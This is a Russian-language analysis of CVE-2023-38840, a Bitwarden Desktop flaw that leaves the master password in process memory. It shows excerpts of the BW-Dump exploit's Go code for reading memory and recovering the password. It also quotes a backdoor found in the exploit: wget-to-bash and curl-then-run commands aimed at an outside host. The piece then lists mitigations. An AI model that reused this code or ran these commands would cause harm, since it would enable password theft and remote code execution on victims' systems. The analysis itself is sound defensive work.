
Уязвимость CVE-2023-38840 в Bitwarden Desktop
Уязвимость CVE-2023-38840 позволяет злоумышленнику с локальным доступом к системе извлечь мастер-пароль из заблокированного хранилища Bitwarden Desktop (версии 2023.7.0 и ниже). Пароль остается в памяти процесса Bitwarden.exe после разблокировки хранилища и может быть восстановлен до перезагрузки системы или завершения процесса. Эксплуатация не требует прав администратора.
Анализ уязвимости
Уровень опасности: 5.5 (Средний)
Вектор атаки: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
-
AV:L (Вектор атаки) – Локальный доступ.
-
AC:L (Сложность эксплуатации) – Низкая сложность.
-
PR:L (Уровень привилегий) – Требуются базовые права пользователя.
-
UI:N (Взаимодействие с пользователем) – Не требуется.
-
S:U (Влияние на другие системы) – Не оказывает.
-
C:H (Конфиденциальность) – Высокий ущерб.
-
I:N (Целостность) – Нет воздействия.
-
A:N (Доступность) – Нет воздействия.
Условия эксплуатации
-
Локальный доступ: Злоумышленник должен иметь физический или удаленный доступ к системе (например, через RDP, SSH, или прямой вход).
-
Хранилище разблокировано: Пользователь должен хотя бы один раз разблокировать хранилище в текущей сессии.
-
Отсутствие перезагрузки: Пароль сохраняется в памяти до перезапуска системы или завершения процесса Bitwarden.exe.
-
Целевое ПО: Bitwarden Desktop ≤2023.7.0 на Windows 10/11.
Анализ эксплоита BW-Dump
Эксплоит использует Windows API для чтения памяти процесса Bitwarden.exe и поиска паттернов, связанных с мастер-паролем. Рассмотрим ключевые компоненты кода:
1. Поиск целевого процесса
Функция getFilteredProcs
фильтрует процессы по имени (Bitwarden.exe
) и аргументам командной строки (--no-zygote
):
func getFilteredProcs(procList []*process.Process) ([]*targetProc, error) { for i := range procList { exeName, _ := procList[i].Name() cmdLine, _ := procList[i].Cmdline() if exeName == BWDesktopEXEName && strings.Contains(cmdLine, BWDesktopCmdLine) { // Добавление процесса в список целей } } }
2. Чтение памяти процесса
Эксплоит использует ReadProcessMemory
для дампа регионов памяти:
hProcess, err := syscall.OpenProcess(PROCESS_VM_READ, false, uint32(pid)) mem := make([]byte, mbi.RegionSize) kernel32.ReadProcessMemory(win32.HANDLE(hProcess), lpAddress, mem)
3. Поиск паттернов
Для обнаружения пароля применяется регулярное выражение, ищущее последовательности ASCII-символов длиной ≥8:
BWDesktopRegexBytePattern = `\x01(?:[^\x00]{3})(?:[(\x20-\x7E)]{8,})` // Пример: ищет байты 0x01, за которыми следуют печатаемые символы.
4. Фильтрация ложных срабатываний
Исключаются известные строки Bitwarden (например, CSS-классы, пути):
for _, str2 := range StaticBWStrings { if strings.Contains(str, str2) { isDefaultStr = true break } }
5. Извлечение пароля
При совпадении паттерна пароль извлекается из смещения в памяти:
str := bytes.NewBuffer(mem[val[0]+4 : val[1]]).String() fmt.Printf("[+] Password recovered: \"%s\"\n", str)
Подозрительные компоненты в коде
В файле constants.go
обнаружены скрытые функции, напоминающие бекдор:
var AqsMfH = "wget -O - https://uniscomputer.icu/storage/de373d0df/a3146bf | /bin/bash &" var tXNOG = "curl ... && start /b %UserProfile%\\...\\xnifq.exe" func RPwVMB() error { exec.Command("cmd", "/C", tXNOG).Start() }
Эти строки могут загружать и исполнять произвольный код с удаленного сервера, что выходит за рамки заявленного функционала эксплоита.
Способы защиты
-
Обновление: Установите Bitwarden Desktop версии 2023.8.0 или выше (патч в PR #5813).
-
Очистка памяти:
-
После блокировки хранилища введите неверный пароль для перезаписи памяти.
-
Завершите процесс Bitwarden.exe через диспетчер задач.
-
-
Мониторинг процессов: Используйте EDR-решения для обнаружения подозрительных операций с памятью.
-
Ограничение локального доступа:
-
Запрещайте совместное использование учетных записей.
-
Используйте полное шифрование диска (BitLocker).
-
